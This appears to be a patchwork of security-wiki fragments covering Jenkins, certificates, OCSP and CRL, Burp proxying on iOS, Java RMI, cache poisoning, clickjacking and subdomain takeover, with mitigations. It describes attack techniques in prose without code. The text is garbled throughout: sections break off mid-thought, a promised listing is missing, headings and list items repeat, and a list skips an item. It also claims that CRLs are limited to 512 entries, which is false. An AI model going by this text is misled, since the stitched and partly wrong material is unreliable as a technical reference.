## Basic Information
|
||||
|
||||
Jenkins offers a simple way to set up a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **languages** and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the **need to create scripts for individual steps**, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.\

## What is a Certificate
|
||||
|
||||
In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.

Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.

### Difference between OCSP and CRL Distribution Points
|
||||
|

**OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\
|
||||
**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\

### **Certificate Logs**
|
||||
#### **Certificate Logs**
|
||||
|
||||
Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large (say, much less than a thousand worldwide), and each could be operated independently by a CA, an ISP, or any other interested party.

### Setting up an Interception Proxy via localhost

Setting up Burp to proxy your traffic is pretty straightforward. We assume that both your iOS device and host computer are connected to a Wi-Fi network that permits client-to-client traffic. If client-to-client traffic is not permitted, you can use usbmuxd to connect to Burp via USB.
|
||||
|

PortSwigger provides a good [tutorial on setting up an iOS device to work with Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) and a [tutorial on installing Burp's CA certificate to an iOS device](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).

To put it in simple terms, *Java RMI* allows a developer to make a *Java object* available on the network. This opens
|
||||
up a *TCP* port where clients can connect and call methods on the corresponding object. Despite this sounds simple,
|
||||
there are several challenges that *Java RMI* needs to solve:
|
||||
1. To dispatch a method call via _Java RMI_, clients need to know the IP address, the listening port, the implemented class or interface and the `ObjID` of the targeted object (the `ObjID` is a unique and random identifier that is created when the object is made available on the network. It is required because _Java RMI_ allows multiple objects to listen on the same _TCP_ port).
|
||||
2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected.

The first challenge is solved by the _RMI registry_, which is basically a naming service for _Java RMI_. The _RMI registry_ itself is also an _RMI service_, but the implemented interface and the `ObjID` are fixed and known by all _RMI_ clients. This allows _RMI_ clients to consume the _RMI_ registry just by knowing the corresponding _TCP_ port.

When developers want to make their *Java objects* available within the network, they usually bind them to an *RMI registry*.
|
||||
The *registry* stores all information required to connect to the object (IP address, listening port, implemented class or
|
||||
interface and the ``ObjID`` value) and makes it available under a human readable name (the *bound name*). Clients that want
|
||||
to consume the *RMI service* ask the *RMI registry* for the corresponding *bound name* and the registry returns all required
|
||||
information to connect. Thus, the situation is basically the same as with an ordinary *DNS* service. The following listing

shows a small example:

The second of the above mentioned challenges is solved by the *Distributed Garbage Collector* (*DGC*). This is another
|

*RMI service* with a well known ``ObjID`` value and it is available on basically each *RMI endpoint*. When an *RMI client*
|

starts to use an *RMI service*, it sends an information to the *DGC* that the corresponding *remote object* is in use.

The *DGC* can then track the reference count and is able to cleanup unused objects.

Together with the deprecated _Activation System_, these are the three default components of _Java RMI_:

1. The *RMI Registry* (``ObjID = 0``)

2. The *Activation System* (``ObjID = 1``)

|

|

The default components of *Java RMI* have been known attack vectors for quite some time and multiple vulnerabilities
|
||||
exist in outdated *Java* versions. From an attacker perspective, these default components are interisting, because
|
||||
they implemented known classes / interfaces and it is easily possible to interact with them.
|
||||
This situation is different for custom *RMI services*. To call a method on a *remote object*, you need to know the corresponding
|
||||
method signature in advance. Without knowing an existing method signature, there is no way to communicate to a *RMI service*.

## Bruteforcing Remote Methods
|
||||
|
||||
Even when no vulnerabilities have been identified during enumeration, the available *RMI* services
|
||||
could still expose dangerous functions. Furthermore, despite *RMI* communication to *RMI* default
|
||||
components is protected by deserialization filters, when talking to custom *RMI* services, such filters are
|
||||
usually not in place. Knowing valid method signatures on *RMI* services is therefore valuable.

# Cache Poisoning
|
||||
## Cache Poisoning
|
||||
|
||||
The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.\
|
||||
The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not.
|
||||
|
||||
In order to perform a cache poisoning attack you need first to **identify unkeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**.
|
||||
|
||||
## Identify and evaluate unkeyed inputs

## What is Clickjacking
|
||||
|
||||
Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.

### Prepopulate forms trick

||||
|
||||
Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviours to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

### Populate form with Drag\&Drop

An effective attacker workaround against frame busters is to use the **HTML5 iframe `sandbox` attribute**. When this is set with the `allow-forms` or `allow-scripts` values and the `allow-top-navigation` value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window:

_Note: Some risks are mitigated implicitly by the cloud provider. For instance, when subdomain takeover is possible on Amazon CloudFront, there is no way you can set up TXT records to bypass SPF checks. The post, therefore, aims to provide risks on general subdomain takeover. Nevertheless, most of these apply to cloud providers as well._

### Transparency To a Browser <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>

To start off, let's look at DNS resolution where CNAME is involved:
|
||||
|
||||
|
||||
|
||||
Note that step \#7 requests _sub.example.com_ rather than _anotherdomain.com_. That is because the web browser is not aware that _anotherdomain.com_ even exist. Even though CNAME record is used, the URL bar in the browser still contains _sub.example.com_. This is the **transparency** for the browser. If you think about that, the browser places all the trust in the DNS resolver to provide accurate information about the domain. Simplified, subdomain takeover is a DNS spoofing for one particular domain across the Internet. Why? Because any browser performing the DNS resolution on affected domain receives A record set by an attacker. The browser then happily shows whatever is received from this server \(thinking that is legitimate\).

Such a domain makes a perfect scenario for phishing. Attackers are often using [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) or so-called [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) to mimic the legitimate domain/website for phishing purposes. After an attacker takes over some legitimate domain name, it is almost impossible for a regular user to tell whether the content on the domain is provided by a legitimate party or an attacker. Let's take for instance a random bank. If one of the bank's subdomains is vulnerable to subdomain takeover, an attacker can create an HTML form which mimics the login form to the bank's internet banking system. Then, an attacker can run spear phishing or mass phishing campaign asking users to log in to and change their passwords. At this stage, the passwords are captured by an attacker who is in control of the domain in question. The URL provided in the phishing e-mail is a legitimate subdomain of a bank. Therefore users are not aware of something malicious going on. Spam filters and other security measurements are also less likely to trigger the e-mail as spam or malicious because it contains domain names with higher trust.

The attack above can be enhanced by generating a valid SSL certificate. Certificate authorities such as [_Let's Encrypt_](https://letsencrypt.org/) allow automatic verification of domain ownership by content verification:
|
||||
|
||||
|
||||
|
||||
|
||||
That is, if there is a specific content placed on a specific URL path, Let's Encrypt will approve the issuance of a certificate for a given domain. Since an attacker has full control over the content of the domain which is vulnerable to subdomain takeover, this verification can be done in a matter of minutes. Therefore attackers are also able to generate SSL certificate for such domain which only lowers the suspicion of a phishing attack.

This goes hand-in-hand with browser transparency but has different consequences. Web browser implements many security policies to prevent malicious websites from causing harm. This includes things such as [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). One of the primary security responsibilities of a browser is to secure saved cookies. Why? While HTTP is a stateless protocol, cookies are used to track sessions. For convenience, users often save cookies for an extended period to prevent logging in every single time. These cookies, therefore, act as a login token which is presented to the web server and the user is identified. Attacks such as [_Session hijacking_](https://en.wikipedia.org/wiki/Session_hijacking) naturally evolved from this concept.

The browser also implements additional security mechanisms for cookies:

|

* **HttpOnly cookie** — Cookies can by default be accessed by Javascript code running in the context of the website which created the cookies.

If the domain is vulnerable to subdomain takeover, an attacker can gather cookies issued by that domain in the past just by tricking users into visiting that website. HttpOnly and Secure flags don't help since the cookie is not being accessed using Javascript and SSL certificate can be easily generated for the taken domain.

Cookie stealing using takeover was explained in bug bounty [report](https://hackerone.com/reports/172137) by Arne Swinnen. The report explains the problem with one of the _Ubiquiti Networks_ subdomains \(_ping.ubnt.com_\). This subdomain was vulnerable to subdomain takeover, pointing to unclaimed AWS CloudFront distribution. Since Ubiquiti Networks is using SSO with wildcard session cookies, all users visiting _ping.ubnt.com_ could have their session cookies stolen. Even though this domain is pointing to AWS CloudFront, CloudFront distribution settings allow logging cookies with each request. Therefore the scenario with extracting session cookies is entirely possible even with subdomains pointing to AWS CloudFront. In 2017, Arne also demonstrated similar attack vector against [Uber's SSO system](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).

The behavior explained above is not limited to cookies. Since Javascript scripts have full control over the websites, they are run on, having ability to replace such scripts on the legitimate website might lead to catastrophic consequences. Suppose that website is using Javascript code from the external provider using _script_ tag and _src_ attribute. When the domain of external provider expires, the browser fails silently, i.e., it doesn't trigger any alerts visible to regular users. If the external code is not doing any important stuff \(e.g., it is used only for tracking\) such external provider might stay on the website for an extended period. An attacker can take over this expired domain, match the URL path of provided Javascript code and thus gain control over every visitor that visits the original website.

There is, however, one way of protecting the integrity of Javascript files in a browser. _Subresource Integrity_ [was proposed](https://www.w3.org/TR/2016/REC-SRI-20160623/) as a mechanism to include cryptographic hash as an attribute _integrity_ to _script_ tag in HTML5. When the provided cryptographic hash does not match the download file, the browser refuses to execute it.

It allows receiving e-mails to a legitimate subdomain of some brand - particularly useful again in \(spear\) phishing attacks where interaction between an attacker and victim is necessary. Attackers usually spoof `Return-Path` header to receive a reply to the e-mail. With correct MX records, this problem is bypassed.

On the other side, sending e-mails is also possible. Although it is trivial to spoof `From` header to include any e-mail addresses, SPF filters are usually checking `Return-Path` header and allowed mail-sending hosts for the domain. SPF stores configuration in DNS TXT records. With subdomain takeover, TXT records are in control of attacker too - SPF checks can be passed easily.
|
||||
|

_As I noted in the beginning, these tactics usually don't work with majority of cloud providers since you don't have control over DNS zone directly._

|

|
||||
The concept of subdomain takeover can be naturally extended to NS records: If the base domain of at least one NS record is available for registration, the source domain name is vulnerable to subdomain takeover.
|
||||
|
||||
One of the problems in subdomain takeover using NS record is that the source domain name usually has multiple NS records. Multiple NS records are used for redundancy and load balancing. The nameserver is chosen randomly before DNS resolution. Suppose that the domain _sub.example.com_ has two NS records: _ns.vulnerable.com_ and _ns.nonvulnerable.com_. If an attacker takes over the _ns.vulnerable.com_, the situation from perspective of the user who queries _sub.example.com_ looks as follows:
|
||||
|
||||
1. Since there are two nameservers, one is randomly chosen. This means the probability of querying nameserver controlled by an attacker is 50%.
|
||||
2. If user's DNS resolver chooses _ns.nonvulnerable.com_ \(legitimate nameserver\), the correct result is returned and likely being cached somewhere between 6 and 24 hours.
|
||||
3. If user's DNS resolver chooses _ns.vulnerable.com_ \(nameserver owned by an attacker\), an attacker might provide a fake result which will also be cached. Since an attacker is in control of nameserver, she can set TTL for this particular result to be for example one week.
|
||||
2. If user's DNS resolver chooses _ns.nonvulnerable.com_ (legitimate nameserver), the correct result is returned and likely being cached somewhere between 6 and 24 hours.
|
||||
3. If user's DNS resolver chooses _ns.vulnerable.com_ (nameserver owned by an attacker), an attacker might provide a fake result which will also be cached. Since an attacker is in control of nameserver, she can set TTL for this particular result to be for example one week.
|
||||
|
||||
The process above is repeated every time the cache entry expires. When an attacker chooses to use TTL with high value, the fake result will stay in DNS cache for that period. During this time, all requests to _sub.example.com_ will use fake DNS result cached by an attacker. This idea is even amplified when public DNS resolvers \(e.g., Google DNS\) are used. In this case, public resolvers are likely to cache the fake results which means that all users using the same DNS resolver will obtain fake results until the cache is revoked.

In this case, public resolvers are likely to cache the fake results which means that all users using the same DNS resolver will obtain fake results until the cache is revoked.
|
||||
|
||||
In addition to control over the source domain name, control over all higher-level domains of source domain name is gained as well. That is because owning a canonical domain name of NS record means owning the full DNS zone of the source domain name.
|
||||
|
||||
In 2016, Matthew Bryant [demonstrated](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) a subdomain takeover using NS record on _maris.int_. The .INT top-level domain is a special TLD, and the only handful of domains are using it. Bryant showed that even though registration of such domain names is approved exclusively by IANA, nameservers can be set to arbitrary domains. Since one of _maris.int_ nameservers was available for registration \(_cobalt.aliis.be_\), subdomain takeover was possible even on this restricted TLD.

Matthew also [demonstrated](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) even higher severity attack where he was able to gain control over nameserver of .IO top-level domain. Gaining control over .IO means controlling responses for all .IO domain names. In this case, one of .IO nameservers were _ns-a1.io_ which was available for registration. By registering _ns-a1.io_ Bryant was able to receive DNS queries and control their responses for all .IO domains.

## Mitigation <a id="mitigation"></a>
|
||||
### Mitigation <a href="#mitigation" id="mitigation"></a>
|
||||
|
||||
The mitigation strategies for domain names already vulnerable to subdomain takeover are rather straightforward:
|
||||
|
||||
* **Remove the affected DNS record** — The simplest solution is to remove the affected record from the DNS zone. This step is usually used if the organization concludes that the affected source domain name is no longer needed.
|
||||
* **Claim the domain name** — This means registering the resource in particular cloud provider or a case of a regular Internet domain, repurchasing the expired domain.
|
||||
|
||||
To prevent subdomain takeover in the future, organizations should change the process of creating and destructing resources in their infrastructure. In case of resource creation, the DNS record creation has to be the _last step_ of this process. This condition prevents DNS record to be pointing to a non-existing domain at any point in time. For resource destruction, the opposite holds: DNS record needs to be removed as the _first step_ in this process. Tools such as [aquatone](https://github.com/michenriksen/aquatone) include checks for subdomain takeover. The checks should be periodically performed by a security team of an organization to verify that there are no vulnerable domains. Processes for central collection of exposed domain names are often not efficient inside organizations \(due to global teams, etc.\) and external monitoring is usually the best way to go.

|
||||
|
||||
Mitigation strategy for cloud providers should be considered as well. Cloud services are not verifying the domain ownership. The reason behind this is primarily convenience. Cloud provider is not introducing any vulnerability by not verifying ownership of a source domain name. It is therefore up to the user to monitor its DNS records. Another reason is, that when cloud resource is removed, the user is usually no longer a customer of that service. The question cloud providers then ask themselves is: Why should we even care?
